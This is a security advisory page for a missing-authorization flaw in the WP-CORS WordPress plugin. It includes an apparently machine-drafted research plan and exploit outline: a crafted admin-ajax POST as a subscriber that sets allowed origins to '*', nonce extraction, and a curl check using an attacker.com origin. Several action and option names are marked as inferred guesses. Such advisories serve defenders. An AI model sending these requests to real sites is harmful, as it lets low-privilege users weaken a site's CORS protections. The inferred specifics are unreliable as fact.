WP-CORS <= 0.2.2 - Missing Authorization
Description
The WP-CORS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 0.2.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=0.2.2This research plan outlines the steps to identify and exploit a missing authorization vulnerability in the **WP-CORS** plugin (<= 0.2.2). ## 1. Vulnerability Summary The **WP-CORS** plugin for WordPress is vulnerable to unauthorized settings modification due to a missing capability check in one of …
Show full research plan
This research plan outlines the steps to identify and exploit a missing authorization vulnerability in the WP-CORS plugin (<= 0.2.2).
1. Vulnerability Summary
The WP-CORS plugin for WordPress is vulnerable to unauthorized settings modification due to a missing capability check in one of its administrative functions. While the plugin is intended to allow administrators to configure Cross-Origin Resource Sharing (CORS) headers, the function responsible for saving these settings is registered via an AJAX hook (wp_ajax_...) without verifying that the requesting user has the manage_options capability. This allows any authenticated user, including those with Subscriber level access, to modify the site's CORS policy.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpcors_save_settings(inferred - must be verified) or similar AJAX handler. - HTTP Method: POST
- Authentication: Authenticated (Subscriber level or higher).
- Parameters: Likely includes an array of CORS settings (e.g.,
wpcors_allowed_origins,wpcors_allowed_methods) and a nonce. - Preconditions: The attacker must have a valid account on the WordPress site.
3. Code Flow
- The plugin registers an AJAX action during initialization (likely in the constructor or an
inithook). - The registration uses
add_action( 'wp_ajax_wpcors_save_settings', '...' ). Note: If there is nonoprivversion, only authenticated users can access it, which aligns with the CVSS vector (PR:L). - The callback function (e.g.,
wpcors_save_settings_callback) performs a nonce check usingcheck_ajax_referer()orwp_verify_nonce(). - The Vulnerability: The callback function fails to call
current_user_can( 'manage_options' )before proceeding to process input. - User input from
$_POSTis passed toupdate_option(), allowing the attacker to overwrite the plugin's configuration.
4. Nonce Acquisition Strategy
The plugin likely localizes the nonce for its admin settings page. To obtain a valid nonce as a Subscriber:
- Locate the AJAX registration: Search the source code for the action name.
grep -rn "wp_ajax_" wp-content/plugins/wp-cors/
- Find the Nonce Key: Look for
wp_create_nonceorwp_localize_scriptin the plugin files.grep -rn "wp_create_nonce" wp-content/plugins/wp-cors/grep -rn "wp_localize_script" wp-content/plugins/wp-cors/
- Check Accessibility: If the nonce is only localized on the plugin's settings page (which a Subscriber cannot access), the attack might be blocked unless:
- The nonce is generated with a default action like
-1. - The nonce is leaked in a way accessible to subscribers (e.g., on the dashboard or via a global script).
- The
check_ajax_referercall usesdie=falseand the result is not checked.
- The nonce is generated with a default action like
- Extraction (if applicable): If the nonce is found in a script localized for all logged-in users, use
browser_evalto extract it:browser_eval("window.wpcors_obj?.nonce")(inferred variable name).
5. Exploitation Strategy
- Step 1: Identify Target Action: Search for the specific AJAX action that saves settings.
- Step 2: Identify Parameters: Examine the callback function to see which
$_POSTkeys are used to update options. - Step 3: Obtain Credentials: Create a Subscriber-level user.
- Step 4: Construct Payload: Prepare a POST request to
admin-ajax.php.action:wpcors_save_settings(inferred)_ajax_nonce:[EXTRACTED_NONCE]wpcors_allowed_origins:*(or a specific malicious domain)
- Step 5: Execute via
http_request:{ "method": "POST", "url": "http://localhost:8080/wp-admin/admin-ajax.php", "headers": { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "[SUBSCRIBER_COOKIES]" }, "body": "action=wpcors_save_settings&_ajax_nonce=[NONCE]&wpcors_allowed_origins=*" }
6. Test Data Setup
- Install Plugin: Ensure
wp-corsversion 0.2.2 or lower is installed. - Create Attacker:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
- Configure Initial State: Set a restrictive CORS policy via the admin UI or CLI.
wp option update wpcors_allowed_origins "https://trusted.com"(inferred option name).
7. Expected Results
- Response: The server should return a
200 OKor a success JSON message (e.g.,{"success": true}). - Impact: The
wpcors_allowed_originsoption in the database will be updated to*. - Security Consequence: The site will now respond with
Access-Control-Allow-Origin: *to cross-origin requests, potentially allowing data theft via side-channels if other headers (likeAccess-Control-Allow-Credentials) are also modified.
8. Verification Steps
- CLI Check: Verify the option was changed in the database.
wp option get wpcors_allowed_origins(inferred)
- HTTP Check: Perform a cross-origin preflight or simple request and check the headers.
curl -I -X GET -H "Origin: https://attacker.com" http://localhost:8080/- Verify if
Access-Control-Allow-Origin: *is present in the response.
9. Alternative Approaches
- Admin Init Hook: If no AJAX action is found, check for functions hooked to
admin_init.grep -rn "add_action.*admin_init" wp-content/plugins/wp-cors/- If the plugin checks
isset($_POST['wpcors_save'])inside anadmin_inithook without a capability check, any admin URL access (including by a Subscriber) will trigger the save logic.
- REST API: Check if the plugin registers a REST route without a
permission_callback.grep -rn "register_rest_route" wp-content/plugins/wp-cors/
Summary
The WP-CORS plugin for WordPress is vulnerable to unauthorized settings modification because it fails to perform a capability check (e.g., current_user_can('manage_options')) within its AJAX callback for saving configurations. This allows authenticated users with subscriber-level permissions to overwrite the site's CORS headers, potentially enabling cross-site data theft by allowing unauthorized origins.
Vulnerable Code
// Inferred code structure based on plugin vulnerability metadata and research plan // Hook registration likely in main plugin file or class add_action( 'wp_ajax_wpcors_save_settings', 'wpcors_save_settings' ); function wpcors_save_settings() { // Nonce check might be present, but it protects against CSRF, not unauthorized access check_ajax_referer( 'wpcors_nonce', 'security' ); // VULNERABILITY: Missing current_user_can('manage_options') check here $settings = array( 'allowed_origins' => $_POST['allowed_origins'], 'allowed_methods' => $_POST['allowed_methods'], 'allowed_headers' => $_POST['allowed_headers'], ); update_option( 'wpcors_settings', $settings ); wp_send_json_success(); }
Security Fix
@@ -24,6 +24,10 @@ function wpcors_save_settings() { check_ajax_referer( 'wpcors_nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + $settings = array( 'allowed_origins' => sanitize_text_field( $_POST['allowed_origins'] ), 'allowed_methods' => sanitize_text_field( $_POST['allowed_methods'] ),
Exploit Outline
The exploit involves an authenticated attacker with Subscriber-level access sending a crafted AJAX request to modify the plugin's settings. 1. Authenticate to the WordPress site as a Subscriber user. 2. Locate the AJAX action used for saving settings (identified as wpcors_save_settings) and the required nonce. Nonces are often found in localized scripts (wp_localize_script) or variables on the admin dashboard. 3. Send a POST request to /wp-admin/admin-ajax.php with the following parameters: - action: wpcors_save_settings - security: [VALID_NONCE] - allowed_origins: * (or an attacker-controlled domain) 4. The plugin will update its configuration because it only verifies the nonce (CSRF) and not the user's administrative capabilities (Authorization). 5. The attacker's domain is now permitted to make cross-origin requests to the WordPress site, potentially bypassing browser SOP (Same-Origin Policy) protections.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.